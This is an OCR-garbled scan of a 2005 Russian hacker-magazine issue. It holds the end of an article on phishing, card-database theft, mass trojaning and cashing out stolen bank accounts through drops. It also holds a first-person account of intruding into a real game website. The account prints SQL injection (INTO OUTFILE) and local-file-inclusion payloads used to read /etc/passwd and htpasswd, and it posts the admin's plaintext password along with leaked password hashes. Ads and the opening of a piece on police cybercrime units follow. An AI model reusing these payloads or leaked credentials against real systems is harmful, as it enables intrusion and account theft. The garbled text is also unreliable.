Кликнув на ЛИНК, юзер попадет на совершенно левый сервер, 
не имеющий никакого отношения к е-голду, к примеру, на 
Шр://е-до\6.пзс1.ги (см. скрин). Лопоухий америкос наивно 
введет свой пароль, не заметив подвоха, в результате чего 
хакер неплохо отдохнет на его бабки :). А если прикрутить к 
фишингу еще и технологию ЕІРЕ зрооСіпд, то есть способ под- 
делки адресной строки браузера, одураченными могут ока- 
заться не только ламеры, но и опытные пользователи. Об этой 
технологии мы рассказывали в прошлогоднем мартовском вы- 
пуске (63 номер). Вот таким забавным и простым способом ха- 
керы успешно по сей день получают пассворды от банковских 
счетов и акков платежных систем, 

[взлом инет-магазинов] Чтобы законный юзер мог произвести 
покупку в американском интернет-магазине, принимающем в 
качестве оплаты кредитные карты, ему придется сначала ре- 
гаться в системе. При регистрации, помимо персональных дан- 



[разведение кроликов... на деньги] 

ных, ему необходимо указать еще и сведения о своей кредит- 
ке, которой будет оплачиваться электронная покупка. Все вве- 
денные данные заносятся в базу и извлекаются из нее при со- 
вершении покупок для перевода денег со счета владельца 
карты на счет интернет-магазина. Данные кредитной карты 
хранятся специально для того, чтобы холдеру не приходилось 
вбивать номер креды заново при совершении очередной по- 
купки. Сам понимаешь, если хакер поломает сервер, на кото- 
ром крутится магазин, ему не составит труда сдампить таблицу 
с кредитными картами из базы данных. 

[протроянивание юзеров] Банками и платежными система- 
ми деятельность профессионалов криминального бизнеса 
не ограничивается. Некоторые хакеры массово троянят 
пользователей для того, чтобы установить на поломанных 
тачках прокси/сокс-сервер с нестандартным портом. Имея 
десяток тысяч собственных проксиков, можно организовать 
приватный сервис и продавать доступ к нему за определен- 
ную ежемесячную абонентскую плату. Таких служб в рунете 
сейчас предостаточно, и популярностью они пользуются 
нехилой. Помимо прокси-сервера, на похаканную машину 
рядового юзера можно установить и софт для реализации 
ДДоС-атак. Кстати, об особенностях создания и эксплуата- 
ции специально предназначенного для этого софта писал 
Федор Михайлович в октябрьском выпуске «Хакера» #10.70. 
Что касается методов протроянивания юзеров, то они уже дав- 
ным-давно не ограничиваются пресловутыми спам-рассылка- 
ми по мылу и ІСО. С каждым годом хакеры становятся все 
изощреннее — теперь они взламывают сайты с высокой посе- 
щаемостью и вставляют в ОІтпІ-страницу специальный 
эксплойт, написанный на ОаѵаЗсгірІ'е, Сплойт этот обычно 
эксплуатирует уязвимость в браузере, в результате чего удает- 
ся запустить произвольный ехе-файл на машине пользователя, 
посетившего сайт. Представь, что хакер взломал сайт, на кото- 
рый ежедневно заходит пяток тысяч человек. Важный ІЕ навер- 
няка стоит у каждого четвертого юзера. Может, кто-то и заме- 
тит неладное, но тысяча пользователей за день окажется об- 
лапошенной. Кстати, эту тему впервые подробно осветил 
СиТТег, написав статью «Ослик ІЕ: залей через меня троян» в 58 
выпуске твоего любимого журнала. Сейчас, конечно, все уже 
здорово изменилось, так что следи за багтраком. 

[развлечения киддисов] Зарабатывать хакерством 
умудряются и скрипткидисы — пацаны, не обладаю- 
щие глубокими познаниями в области технологий взло- 
ма, Они умеют брутить аси, угонять мыльники путем уга- 
дывания примитивного секретного вопроса, добывать 
шеллы, эксплуатируя свеженайденные уязвимости в 
скриптах и скомпилированные хакерами публичные 
эксплойты. Добытое добро они недорого продают за 
ѴѴеЬМопеу, получая тем самым небольшую прибавку к 
деньгам, которые им выделяют предки на обеды ;), 
Существует еще один способ поднять немного баб- 
лоса на взломанных порталах при наличии ограни- 
ченных умений. Имея возможность менять содержи- 



[ОБНАЛ БАНК-АККОВ] 

Кардеры, покупающие у хакеров доступы к банковским счетам, 
занимаются их обналичиванием. Сам процесс обналички 
происходит по достаточно примитивной схеме. Для начала 
кардер вербует дропа в США, предлагая ему заработать денег, 
для чего обналичивает выписанный на него с банк-аккаунта 
денежный чек. Дроп должен распорядиться с полученными 
деньгами следующим образом: часть баблоса оставить себе, 
а основную сумму отправить кардеру в Россию через систему 
денежных переводов ѴѴезІегп Упіоп. Ну а обналичивание ѴѴС- 
перевода не составляет особого труда. 





[атагоп.оот, популярный инет-магазин в США] 

мое веб-страниц, можно перекидывать посетителей похаканно- 
го портала на целевую страницу, накручивая тем самым счет- 
чик нужного кидису сайта. Живой трафик стоит немало, поэтому 
накрутка сайтов — относительно выгодная тема. 

[реализация товара] Как ты думаешь, что хакеры делают с ук- 
раденным добром, о котором я рассказывал в этой статье? 
Куда они девают ворованные из интернет-магазинов базы 



кредитных карт и банковские 
аккаунты? Думаешь, они ис- 
пользуют скоммунизженную 
инфу по прямому назначе- 
нию? Нет не угадал, преобла- 
дающее большинство хаке- 
ров в кардинг не лезет — уж 
слишком это опасное и нуд- 
ное (хотя и очень прибыль- 
ное) дело. Чтобы обналичить 
деньги с банковского аккаун- 
та, нужно приложить немало 
усилий. Поэтому гораздо 
проще продать доступ к бан- 
ковским счетам за относи- 
тельно небольшой процент от 
баланса аккаунта, чем зани- 
маться обналичкой самосто- 
ятельно. А креды обычно сли- 
ваются оптом реселлерам 
(перекупщикам), которые, в 
свою очередь, перепродают 
их тем же кардиологам. Ко- 
нечно, хакеры, в отличие от 
Кардеров, не обладают мил- 
лионами долларов, но свои 
бабки они все-таки имеют. 

[открывайте, Н1<^!] Напоследок хочу сказать, что опускать банки и 
платежные системы — это тебе не сайтики дефейсить. Это откровен- 
ный воровской криминал в прямом смысле этого слова. Вышеопи- 
санное жестко карается властями, и материал был изложен, исклю- 
чительно чтобы удержать тебя от подобной деятельности. На зоне 
живется несладко, из воровского общака ниіао тебя греть не будет. 
Если у тебя нет желания общаться с зеками на нарах, просто забудь, 
о чем я сейчас писал, но запомни вот что: милиция не спит и клиентов 
принимает круглосуточно без выходных и обеденных перерывов @ 



Хотите двигаться 
вперед без остановкі^? 
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Сеть магазинов 






«Умные машины» 


Москва 


І095І 780-0041 


Г ипеВмаМет бытовой 


электроники «Матрица» 


Санкт-Петербург 


(812) 441-2222 


Мир Техники 


Санкт-Петербург 


(812) 331-2222 


ООО «Компания ТЯШОВ» 


ЯвВМіавль 


(0852) 451-413 







018ТВ1ВиТ0Р СОМРАМУ 



• Автоматическая стабилизация' 
напряжения (АѴК) 

• 3 розетки с батарейной поддержкой, 1 розетка 
с защитой только от скачков напряжения 

• Диапазон входного напряжения 160-280 В 

• Коммуникационный порт У5В 

• Защита тел/факс/051-линий 

• ПО Ро\л/егСИЩе РегзопаІ Ебі^іоп, кабель 1)5В 



ВЗЛОМ 055 ] 





ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОІО СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20МЕ РЕППУМ НЬЮСЫ 





Ломаем играючи 



ты, КОНЕЧНО, СЛЫШАЛ, ЧТО ПО ИТОГАМ 
КРИ-2004 ПРОЕКТ З.Т.А.Е.К.Е.Р. 8НАООѴѴ ОР 
СНЕРМОВѴЕ ВЗЯЛ ЗОЛОТО В НОМИНАЦИЯХ 
«ЛУЧШАЯ ТЕХНОЛОГИЯ», «ЛУЧШАЯ ГРАФИ- 
КА», «ИГРА ГОДА», А ФИРМА 080 ОАМЕ 
ѴѴОРЕО СТАЛА «ЛУЧШЕЙ КОМПАНИЕЙ-РАЗРА- 
БОТЧИКОМ». А ЗНАЕШЬ ЛИ ТЫ, ЧТО ЗТАЕК- 
ЕР-ѲАМЕ.СОМ, ОФИЦИАЛЬНЫЙ САЙТ ИГРЫ, 
БЫЛ СОВСЕМ НЕДАВНО ВЗЛОМАН? 

И СЕЙЧАС Я РАССКАЖУ ТЕБЕ, КАК МНЕ УДА- 
ЛОСЬ ЭТО СДЕЛАТЬ I ОІдіІаІ ЕхрІозЮп (сІі_ехрІ 05 іоп@таіІ.ги) 




История о том, 
как был взломан 
зШІкег-дате.сот 

[лирическое отступление] Все началось в 
2002 году. Тогда уже довольно известная ук- 
раинская девелоперская студия ѲЗС Ѳате 
ѴѴогІсІ, получившая славу благодаря «Каза- 
кам», сделала громогласное заявление в 
прессе. В ближайшем будущем нас ожидал 
великий шедевр всех времен и народов: иг- 
ра З.Т.А.І.К.Е.Р. ЗТіасІо\л/ оТ СІяегпоЬуі. Идеи 
разработчиков были действительно револю- 
ционными: умопомрачительная графика, не- 
линейность, полная свобода действий, це- 
лый виртуальный мир, управляемый по всем 
законам жизни, — все это было щедро прип- 
равлено колоритом «Пикника на обочине» от 
братьев Стругацких. Слюнки так и потекли. 
Но шли годы, выход игры неоднократно отк- 
ладывался, Это стало изрядно бесить. И вот 
последние новости из официальных источни- 
ков: «Дата релиза — 25 декабря 2005 года». 
Ну нет господа, мне уже надоело ждать и 
есть протухшие «завтраки», закусывая скрин- 
шотами не первой свежести! Вам придется 
расплатиться за моральные потери миллио- 
нов. Как? Вашим же собственным сайтом :)! 



[разведка боем] Первым делом я 
набрал в адресной строке брау- 
зера Мкѳг-дате.сот и попал на 
официальный сайт игрушки. Сра- 
зу бросается в глаза надпись: 

«ѴѴеІсоте 1'о ІНе \л/огіс1 ѵ\/і1'Іт по 
ІЫиге!» — ну это мы еще посмот- 
рим, Далее мы видим треп из се- 
рии «эта игра круче всех», по полкам аккуратно расставлены многочис- 
ленные награды еще не вышедшего релиза, ну и прочее-прочее. В гла- 
за бросался лишь раздел Соттипііу. Решено было там зарегистриро- 
ваться, Как оказалось, это что-то типа кружка по интересам, здесь рас- 
положен форум, и еще куча литературного трэша от фанатов игры. 
Форум оказался самописным, поэтому все сплойты для РІпрВВ, 
ѵВиІІеІ'іп, ІРВ и тому подобных тут были непригодны . Оставался один ва- 
риант: искать ошибки вручную. Как назло, никаких ботов видно не бы- 
ло, и казалось, что все очень неплохо защищено. Хотя некоторую по- 
лезную информацию я вынес: управление форумом производил ад- 
мин по имени ѲЗС 
Зиррогі" с е-таіГом 
\ѵеЬтазіег@дзс-да- 
те.кіѳѵ.иа. 

Делась здесь было 
особенно нечето, по- 
этому пришлось жать 
Іодоиі' и возвращать- 
ся на главную страни- 
цу. Только сейчас я за- [важный скрипт для ретрива паролей] 





^о^ 1 п Пе Віррег іог ШШ- 

оот: 

тш.орепѵіаІІ.сот/іоШЬ/іо 

Ііп-16ш2Ір 

ТоЛп Пе Віррег Іог ІШІХ: 
шшш.орепшаІІ.сот/іоІіп/Ь/іо 
Ііп-1 .б.іаг.ді 






[читаем любые файлы на сервере] 

метил, что нам доступна функция ретрива па- 
роля из зоны Соттипііу — достаточно ука- 
зать свой адрес, и туда вышлют саответствую- 
щий логин и пароль. И тут случилось самое 
интересное: этот скрипт оказался беззащит- 
ным перед 301 Іпіес+іоп! Оказалось, что если 
передать в качестве е-таіГа знак «'», МуЗО^ 
громко икнет сообщением об ошибке: 

МуЗОІ еггог 1064: Уои Ітаѵе ап еггог іп уоиг 
301 зуШах; сітеск Фе тапиаі Фаі соггезропсіз 
(о уоиг МуЗОІ зегѵег ѵегзіоп Іог Фе гідМ зуШах 

(о изе пеаг ' 1_' АМО зііе_іуре ІІКЕ 

' 1_') ОП зі(е_(уре N01 ІІКЕ ' ѴѴІтеп ехе- 

си1іпд:зеІес( из_пате, из_разз Ігот дз_изегз 
ѵѵітеге из_таіІ = АМО ((Із_ас1іѵ ІІКЕ 

' 1_' АМО зі(е_(уре ІІКЕ ' 1_') ОВ 

зі1е_1уре МОТ ІІКЕ ' 1_') 



А вот это уже интересно. Теперь остава- 
лось подумать над правильным ЗОЕ-запро- 
сам, каторый выдал бы нам пароль адми- 
на. Вскоре задача была решена, и новоис- 
печенный запрос выглядел следующим об- 
разом: \л/еЬтаз1ег@дзс-дате.кіеѵ,иа' ІМТО 
ОІЛРІІЕ ассезз.ІхТ /*. 

Объясню, что делает этот запрос. Из базы вы- 
дергиваются логин и пароль, соответствую- 
щие мылу администратора, все это мы запи- 
сываем в файл ассезз.М. Выражение «/*» оз- 
начает, что вся последующая часть запрсса 
будет закомментирована. Теперь вбиваем 
все это в формочку с названием е-таіі и 
жмем «ОК». Сценарий выполнился без оши- 
бок, поэтому, затаив дыхание, я набрал в ад- 
ресной строке «ѵттѵ.зіаікѳг-датѳ.сот/гизз- 
іап/ассеззМ». Меня, как и следовало ожи- 
дать, постиг облом :(. Точнее, страница с 
ошибкой 404 — РІІе поТ РоипсІ. Ну не найден и 
не найден, это означало только одно — файл 
был создан, только вот явно не там, где мне 
было надо. Для продол>кения атаки требо- 
вался абсолютный путь к директории, в кото- 
рой лежал сайт. А где этот самый путь взять? 
Падбирать ручками было глупо и долго, Я уже 
совсем отчаялся, а ведь бросать дело на 
полпути к победе так не хотелось! 



0 




8АМ8ЦМС 



ГѴЫ СІиЬ 

Собери телес|90и! 



с 1 июня по 31 августа 
2005 года заказывая 
мелодии, картинки 
или игры на сайте 
Затзипд Рип СІиЬ 
у тебя есть шанс 
выиграть 

мобильный телефон 
Затзипд 5ѲН-Е720, 
а также другие 
ценные призы. 



•внимание! 

‘^се мелодии, ка|9тинки 
и иГ|7ъі 

совместимы только 
с теле<|ронами Затзипд. 



Подробнее об акции на сайте: 

ѵллллл/.ги.загпзипдгпоЬіІе.согп 

ѵѵар.ги.затзипдтоЬіІе.сот 



Отправь 8М8 с кодом мелодии на 
номер 4446 и выиграй призы! 



^ТОП 20 



сводный ЧАРТ 



4630474 СІоЬаІ 0ее]ау8. ТНе Зоипа О? Зал Ргапсізсхі Полчаса. Тату 4630495 
4630467 Сгееп Оау. ВоиІеѵагсІ 0^ Вгокеп Огеатз БриБумер. КОѴ ОСі 4630502 
4630479 М/ф "Крокодил Гена". Голубой вагон После войны. Любэ 4630483 



4630431 К/ф 'Титаник". Му НеаП ѴѴІІІ Оо Оп 
4630430 К/ф "Солдаты". Юность в сапогах 
4630477 Веллу Вепаззі. 8аФг/ас(іоп 
4630469 Дубцова Ирина. Как ты там 
4630472 делпгТег ^орег. Сеі КідЦ 
4630481 Воот^илк МС'з. Р[аез(у1ег 
4630465 К/ф 'Турецкий гамбит" 

4630471 Фриске Жанна. Ла-ла-ла 
4630478 Серега. Черный бумер 
4630475 Звери. Запомни меня 
4630480 Шуберт. Аве Мария 
4630476 Рефлекс. Моп 8(ор 
4630466 Мг. Сгесіо. Медпяк 
4630470 Любэ. За туманами 
4630468 АгазИ. Вою Вою 
4630482 Тагкап. ОиОи 
4630473 ЗтазЬ. Ра№ 

РОССИЙСКИЕ 

4630508 Виа Гра. Мир, о котором я не знала... 
4630507 Смысловые галл. Зачем тогттатъ... 
4630506 Зацепин Антон. Ниже ростом... 
4630516 Боярский Михаил. Зеленоглазое такси 
4630515 Орбакайте Кристина. Губки бантиком 
4630517 Рефлекс. Потому что не было тебя 
4630519 Глюкоза/Серцючка. Жениха хотела 
4630520 МС Вспышкин. Колбасный цех 



4630513 Чай вдвоем. День рождения 
4630511 Иванушки. Капелька света 
4630514 Ничья. Никому. Никогда 
4630504 Любэ. Старые друзья 
4630505 ЗтазЬМ. ОЬзезгіоп 
4630512 КОѴ 03. Брибумер-2 
4630503 ЛПК. НезипвсЬоп 
4630509 Иракли. Вова-Чума 
4630522 Сердючка. Хорошо 
4630518 Дельфин. Любовь 
4630521 Фабрика. Рыбка 
4630510 Звери. Герои 



Снег идет. Глюкоза 4630486 
Знаю. Руссо Авраам 4630489 
Я люблю ею. Тутси 4630496 
ОЬзеггіоп. Аѵепіига 4630488 
Самый, самый. Тутси 4630494 
Ретте Ііке У. К-Маго 4630500 
Роман. Дубцова Ирина 4630501 
Киглогз. Сіпсізау УоЬап 4630499 
РайоныКварталы. Звери 4630487 
Кому Какое Дело. Ангина 4630498 
Напи'пш пофепче. Звери 4630484 
Ііке Тоу Зоійіегз. Етіпет 4630490 
Идем на восток. Ногу свело 4630497 
Короли ночной Вероны. Звезды 4630493 
Вишнёвая смола. Маликов Дмитрий 4630485 
ѴѴЬа( Уои ѴѴаіІіпд Рог?. Сѵѵеп ЗІеТапі 4630491 
ІеСз Се! I! 3!аг!её. ВІаск Еуеб Реаз 4630492 

ЗАРУБЕЖНЫЕ 

Таке оп Ме. А-На 4630529 
Мадіе Кеу. Опе-Т 4630536 
Митаі Ти. 0-2опе 4630523 
ВгеаІГе. Ргосііду 4630541 
Киги-Киги. Тагкап 4630524 
□езег! юзе. Зііпд 4630530 
Іа-Іа. АзИІее Зітрзоп 4630535 
То4іс. Вгііпеу Зреагз 4630532 



Іііизіоп. Веллу Вепаззі 4630527 
РіпаІ СоипМоѵѵп. Еигоре 4630528 
Зііи! ир. ВІаск Еуеб Реаз 4630539 
Еѵегуіігпе. ВгИпеу Зреагз 4630538 
Огадозіеа сііп !еі. 0-2опе 4630531 
Іп ТІіе Зріасіоѵѵз. ТИе Лазтиз 4630526 
Такіпд Оѵег Ме. Еѵалезсепсе 4630540 
ЗИе ѴѴІІІ Ве коѵесі. Магооп 5 4630533 
СІеапіпд ои! ту сіозеі. Етіпет 4630542 
^из( Опе каз! Оапсе. ЗагаЬ Соллог 4630534 
коѵе Із доппа заѵе из. Веллу Вепаззі 4630525 
Сиіитзе Касіеппе {Ласііо Есііі}. Тагкап 4630537 



Отправьте 8М8 с кодом картинки на номер ,444б] 




5434145 5434112 5434074 5434109 

о 




5434117 5434115 5434072 5434144 

5434119 5434107 5434108 5434104 



Подробная инструкция и список поддерживаемых мешелей телефонов - 
на ѵѵ\ѵѵѵ.і-/гее.ш. Служба поддержки (095) 916 72 53, (812) 118 45 75, 
е-таіІ; гиррог!@і-!гее.ги. Для заказа полифонических мелодий и цветных 
картинок необходимо иметь возможность ѴѴАР-доступа в Интернет, 
при загрузке картинки или мелодии дополнительно оплачивается 
ѴѴАР/СРкЗ-соединение согласно вашему тарифному плану. 

Стоимость запроса на номер 4446 (картинки и мелодии) 
составляет 0,90 доллара СШа без учета налогов. 

Точную стоимость в рублях можно узнать, позвонив 
в справочную службу оператора, 
предоставляющего услуги связи. В случае 
ошибочного запроса услуга считается 
оказанной и оплачивается в 
соответствии 
с тарифами. 









[хакер 06 [78] 05 > ВЗЛОМ 058] 




[манипуляции с пользователями] 



[старые песни о главном] Опять главная стра- 
ница, и опять в поисках дырявого сценария :). 
Хотя этот самый сценарий был у меня бук- 
вально под носом с самого начала, имя ему 
іпсІех.рМр! Присмотрись вот к этому: тм/ѵ.віаі- 
кег-дате,сот/гиззіап/іпсІѳх,рІір? 1^=сотти- 
піЬу&з=гедШаііоп. Ничего не замечаешь? Мо- 
ей первой реакцией была проверка на рНр 
Зоигсе Іпіес+іоп: ѵѵѵѵѵѵ.зіаікег-дате.ги/гиззіап/ 
іпсіех.р(ір?1= \л/\л/ѵѵ.хххххх.пагосі.ги/стсІ&стсі=Із -аі 
Заветного списка файлов я так и не увидел, 
даже ошибочки никакой не вылезло. Поп- 
робуем ІосаІ РІІе Іпсіисііпд: уллАл/.з+аІкег- 
дате.сот/ги55іап/псІех.р[тр?1'=../../../../../еГс/рсБЗи\/Р 
Опять неудача! А если так: \ллллл/.5ГаІкег- 
дагге.согті/гиз5Іап/гісІех.рІір?!'= ./еГс/роззи/сШ!) 
Сработало! Теперь мы можем читать любые 
файлы с сервера, главное, чтобы права 
доступа соответствовали нашим. В данном 
случае я увидел содержимое /еТс/раззѵусІ. 
Пользователей с доступом к командному 
интерпретатору было не так уж и много, все- 
го трое, вот их данные: 

гоо(:х:0:0:гоо1:/гоо(:/Ьіп/Ьазкі 
грт:х:37:37::/ѵаг/ІІЬ/грт:/Ьіп/ЬазІі 
\л/еЬирІоасі:х:501 :501 ::/сІаІа/Іі(1рсІ/ѵІіоз1з/./з1 
аІкег-дате.сот:/Ьіп/ЬазІі 

Как видишь, домашняя директория у поль- 
зователя \л/еЬирІоасІ — это каталог, в кото- 
ром лежит сайт! То есть теперь можно про- 
водить полноценный ЗОк !п]есТіоп, модифи- 
цированный запрос выглядит так: \л/еЬтаз- 
Тег@дзс-даппе.кіеѵ.иа' ІЫТО ОІЛРІІЕ '/с1а]а/ИТ1рс1/- 
ѵТіозТз/./5]а!кег-дате.сот/ассезз.1х!-' /* 

Команда выполнилась без ошибок, файл ус- 
пешно создался и был доступен по адресу 
т/ѵѵѵ,зіаІкег-дате.сот/ассѳзз.М. А вот и его 
содержимое: ѲЗС ЗиррогТ исгседд]Ріп. За- 
меть — пароль в р!аіп-тексте! Теперь у меня 
был админский аккаунт. Было бы круто еще 
утащить всю базу с паролями. Нет проблем! 
Наш запрос нужно немного подправить: 

' ог о " ІМТО ОиТРІІЕ УсІа(аЛіПрсі/ѵТіоз1з/./з1аІк- 
ег-дате.сот/аІІ_Іодіпз_апсІ_раззѵѵогсІз.1х17* 

Все это надо трактовать следующим обра- 
зом: если поле е-таіі в ношей БД не пус- 
тое, записываем соответствующий логин и 
пароль в файл а!1_1од!п5_апс1_ра53\л/огс1з.ТхТ. 
Теперь можно идти по адресу тлпѵ.зіаікѳг- 
дате.сот/аІІ_!одіпз_апсІ цэаззѵѵогсІз.Ш и 
сохранять все содержимое себе на винт. 
Кстати, файлик получился нехилый — 200 с 
чем-то кило. 

[разделяй и властвуй] Едем дальше. Залоги- 
нившись под учетной записью админа, я на- 
чал кропотливо изучать внутренности фору- 
ма, так сказать, по ту сторону баррикад. К 
моему великому сожалению, ничего инте- 
ресного найдено не было. Я мог изменять 
статус пользователей, банить их, добавлять 



аватары, изменять 
какие угодно разде- 
лы и топики — все 
это, конечно, очень 
весело, но было бы 
неплохо залить на 
хост полноценный ѵ\/еЬ-шелл. Сейчас сде- 
лаем! 

Пришло время почитать конфиги Апача. Мето- 
дом перебора всех возможных вариантов 
этот самый конфиг был найден. Он удобно 
расположился по адресу /еЕс/ ІіН'рсІ/- 
ІтИ'рсІ.сопЕ Обратившись к т/тѵ,зіаІкѳг- 
датѳ. сот/гиззіап/іпсіѳх.ріір ?і= 
ѳіс/ШрсІ/ІіПрсІ.сопШЮ, я получил доступ к 
конфигу вебсервера и принялся его изучать. 
Надо сказать, моя интуиция не подвела, и уже 
скоро, при рассмотрении секции ѴІгІиаІ 
Нозф, был найден интересный блок: 

[занятная часть конфига] 

ЗегѵегМате (ііез.дзс-дате.сот # зрБіпх.2д\л/.пе1 
... Іодз ... Іодз ... Іодз ... 

Ооситеп1ВооІ/сіаІа/ІіПрсІ/ѵБоз1з/зрІтіпх.2дѵѵ.пе( 
ЗегѵегМате зрітіпх.2д\л/.пе1 АиІІтТуре Вазіс 
АиІБНате "Пезігісіесі РІІез" 
АиІкіизегРІІе/еІсЛтйрсІ/раззѵѵогсіз/зиЬ] 

Ріедиіге изег топііог ЗеІНапсіІег зегѵег-зіаіиз 

Попробую описать тебе, что это значит. 
ТІІез.дзс-дате.сот — видимо, админка 
сайта, зріпіпх.2д\л/.пе1' — ее зеркало. Далее 
указывается тип авторизации — Вазіс. Это 
значит, что нужно ввести логин и пароль для 
доступа к защищенной части сайта. Еще 
для нас особую ценность представляет вот 
этот файл: /е1‘с/М1'рсІ/разз\л/огсІз/зиЬ]. В нем 
хранятся пары типа «логин:зашифрованный 
пароль». Последняя строка в блоке указы- 
вает на то, что для юзера с именем ітюпі+ог 
при авторизации осуществляется еще и 
контроль по !Р-адресу, так что пройдут 
только свои. Теперь применим знания на 
практике. Доступ к Шез.дзс-дате.сот был 
закрыт, но это и не страшно, попробуем 
зрЫпх.2дѵѵ.пек При заходе на эту странич- 
ку появлялось окошечко с просьбой ввести 
логин и пароль. Вот тут-то нам и понадобил- 
ся Іеіс/ШрсІ/разз\А/огі^з/5иЬІ. Прочтем его: 
\/ѵ\л/\/ѵ.зіаІкег-дате.сот/гиззюп/ІпсІех.рІір7 
і =../. ./. ./. ./../еі'с/ШрсІ/раз5\А/огсІз/зиЬ]%00. 

Ну неужели! Наконец-то мы нашли тот са- 
мый сундучок с сокровищами: 

[украденные аккаунты] 

топі1ог:Уиа(о94ХТдОсід 
ргезз: .ѵ8Ѵк7ВЬиРОЬ6 
рііртуасІтіп:/есІВІз\Л/.2ЕІЛс 
даітеі : РАІк. ОдОгббАЕ 
Гігез1аг1ег:сКУ2кѴ80ѵсІхЗд 
с2Ь:р2аІ.гсіа2КВ2Е 

Как ты, наверное, уже успел заметить, па- 
роли зашифрованы ЭЕЗ'ом. Теперь дело за 
малым — загоняем их в ТТІ?, ставим наи- 
больший приоритет для процесса (гепісе - 
20 Р!0) и отправляемся спать, 

[ітарру епф] Сказать по правде, спать мне 
пришлось довольно долго. Эти хэши еще 
долго не сдавались. Пришлось повозиться 
с ними несколько недель. Хотя в конце кон- 
цов затраты были оправданы: мне стали 
подвластны все базы данных, теперь мож- 
но было изменить любую новость на глав- 



«Пикник на обочине» — 

А. и Б. Стругацкие: 
шш^ІаІкегЗб.пе1/іір/Рікпік2Ір 
Подборка статей по безо- 
пасному программирова- 
нию: шш.шеб-баскіи/ 
боокз/боокз.рбр ?до=36. 

ной страничке, всего-то подправив опре- 
деленные поля в таблицах. Взвесив все «за» 
и «против», я решил не делать этого. Какой 
прок от того, что я размещу там свое пос- 
лание? Да никакого, а по лбу схватить мож- 
но запросто. В конце концов, могла повто- 
риться ситуация, схожая с На!МІ1'е 2. Тогда 
с сервера разработчика украли исходни- 
ки гамесы, и в итоге свежий релиз отложили 
еще на год. Так что лучше напишу-ка я пись- 
мецо \л/еЬ-мастеру, может, перепадет 
эксклюзивный Ьох с игрой :) © 




фНрсІ.соп) как на ладони] 



[ДВА СЛОВА ОБ 301 
імиЕСтіом] 

Про 3^^ Іпіесііоп твой любимый 
журнал писал уже не раз и не два. 
Но для тех, кто только что сошел с 
бронепоезда, поясню общие поня- 
тия. Работа всех интерфейсов для 
БД основана на том, что в заранее 
определенные 301-запросы подс- 
тавляются различные конкретные 
данные, определяемые пользова- 
телем. Чтобы как-то отделить дан- 
ные от запроса, обычно их заклю- 
чают в кавычки. Например, вот так: 

$гези11 = тузд1_диегу(\"ЗЕ1ЕСТ 
разз ЕРОМ ІаЫе ѴѴНЕРЕ 
таіІ='$таіГ\"); 

Если же скрипт не фильтрует полу- 
ченные от пользователя данные (в 
примере — переменная $ппаіІ), ты 
можешь попробовать вставить в 
$ппаіІ кавычку «'». Это приведет к 
ошибке исполнения. Далее надо 
составить запрос хитрым образом, 
чтобы он вливался в общую карти- 
ну, не вызывал ошибок и при всем 
этом выполнял нужные нам 
действия. Например, если перемен- 
ная $ппаіІ имеет значение 
ѵазуа@таіІ.ги' ІМТО ОУТРІЕЕ 
'ѵазуа.іхі, то запрос получится таким: 

$гезиІІ = туздІ_диегу(\"8ЕІЕСТ 
разз РРОМ ІаЫе ѴѴНЕРЕ 
таіІ='ѵазуа@таіІ.ги' ІМТО ОСТРИЕ 
Ѵазуа.ІхІ'\"); 

И после исполнения в файле 
ѵазуа.іхі окажется пароль Василия. 



ш 



На нашем диске ты най- 
дешь полные версии прог- 
рамм, описанных в этой 
статье, документацию и от- 
личную книгу для души. 







ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20МЕ РЕПРШМ НЬЮСЫ 
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Управление 
на букву «К» 

в КАЖДОМ НОМЕРЕ ТЫ ЧИТАЕШЬ СТАТЬИ 
О ХАКЕРАХ, О ТОМ, КАК ОНИ ДЕЙСТВУЮТ 
И НА КАКИЕ УХИЩРЕНИЯ ИДУТ, ЧТОБЫ ПРО- 
НИКНУТЬ В ЧУЖУЮ СИСТЕМУ И ПРИ ЭТОМ 
СОХРАНИТЬ АНОНИМНОСТЬ. В ТО ЖЕ ВРЕМЯ 
КАК-ТО В СТОРОНЕ ОСТАЮТСЯ ЛЮДИ, КОТО- 
РЫЕ ЭТИМИ САМИМИ ХАКЕРАМИ ЗАНИМАЮТ- 
СЯ. ВЫЧИСЛЯЮТ И АРЕСТОВЫВАЮТ ИХ, СО- 
БИРАЮТ ДОКАЗАТЕЛЬНУЮ БАЗУ, ПРОВОДЯТ 
ВСЕВОЗМОЖНЫЕ ЭКСПЕРТИЗЫ И Т.Д. ПРИШ- 
ЛО ВРЕМЯ РАССКАЗАТЬ ТЕБЕ ОБ УПРАВ- 
ЛЕНИИ «К» I Степан Ильин ока ЗІер (зІеріЭгеаІ. хакер. ги) 



Вся правда о легендарном 
управлении МВД 

[как все начиналось] История борьбы с 
преступностью в сфере высоких технологий 
началась в конце 90-х годов. Тогда специ- 
альным приказом министра МВД России по 
всей стране были созданы отделы «Р», поз- 
же ставшие опорой государства в борьбе с 
компьютерными преступниками. Хакерами 
тогда еще никто не занимался. Основной 
функцией отдела «Р» изначально была борь- 
ба с незаконным оборотом радиоэлект- 
ронных и специальных технических средств 

— отсюда и буква «Р» («радио»). В то время, 
когда сотовая связь еще только зарожда- 
лась, широкое распространение получили 
радиотелефоны и радиоусилители. Продви- 
нутые граждане буквально визжали от вос- 
торга, поставив дома усилитель, а на даче 

— фирменный телефончик. Проблема, как 
это обычно бывает, заключалась в отсут- 
ствии лицензии на эти чрезвычайно полез- 
ные приборы. Многие из них не проходили 
обязательную сертификацию и по понятным 
причинам не могли быть реализованы и уж 
тем более использованы на территории РФ, 



На нашем диске лежит ви- 
деоролик, в котором ты 
увидишь, как работает 
управление «К». 




Посети эти сайты: 
суЬет-сптез.ти — компью- 
терные преступления: ква- 
лификация, расследова- 
ние, профилактика. 
субет-сгітез.ги/Ііпкв/ 
?Ю=МѴП_опІіпе — список 
официальных сайтов 
управления «К». 
шѵт.соругідМ.ти — все о 
защите авторских прав и 
интеллектуальной соб- 
ственности. 



Очень скоро стало ясно, что 
проблемы в сфере высоких тех- 
нологий на этом не заканчива- 
ются. В 90-е годы стремительны- 
ми темпами развивались компь- 
ютерные технологии, компьюте- 
ры внедряли и использовали 
повсеместно: в банках, архи- 
вах, непосредственно самих правоохранительных органах. Все- 
возможные базы данных, отчеты, переписка и прочие конфиденци- 
альные документы стали лакомым кусочком для тех, кто был «на 
волне» и хорошо соображал в компьютерах. Все это не могло не 
привести к появлению новых преступлений — в сфере компьютер- 
